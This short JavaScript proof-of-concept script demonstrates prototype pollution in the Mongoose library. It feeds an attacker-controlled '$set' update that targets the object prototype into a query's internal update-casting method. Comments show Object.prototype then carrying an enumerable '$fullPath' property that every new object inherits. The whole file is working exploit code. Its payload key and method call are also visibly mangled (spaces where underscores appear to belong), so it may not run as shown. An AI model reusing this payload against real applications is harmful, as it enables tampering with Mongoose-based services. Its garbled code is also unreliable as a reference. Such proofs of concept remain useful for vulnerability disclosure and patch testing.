const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);      // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {" proto .x": "anything"}}');  // attacker-controlled update

const q = User.updateOne({}, {});
try { q. castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);      // " proto "
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath);           // " proto "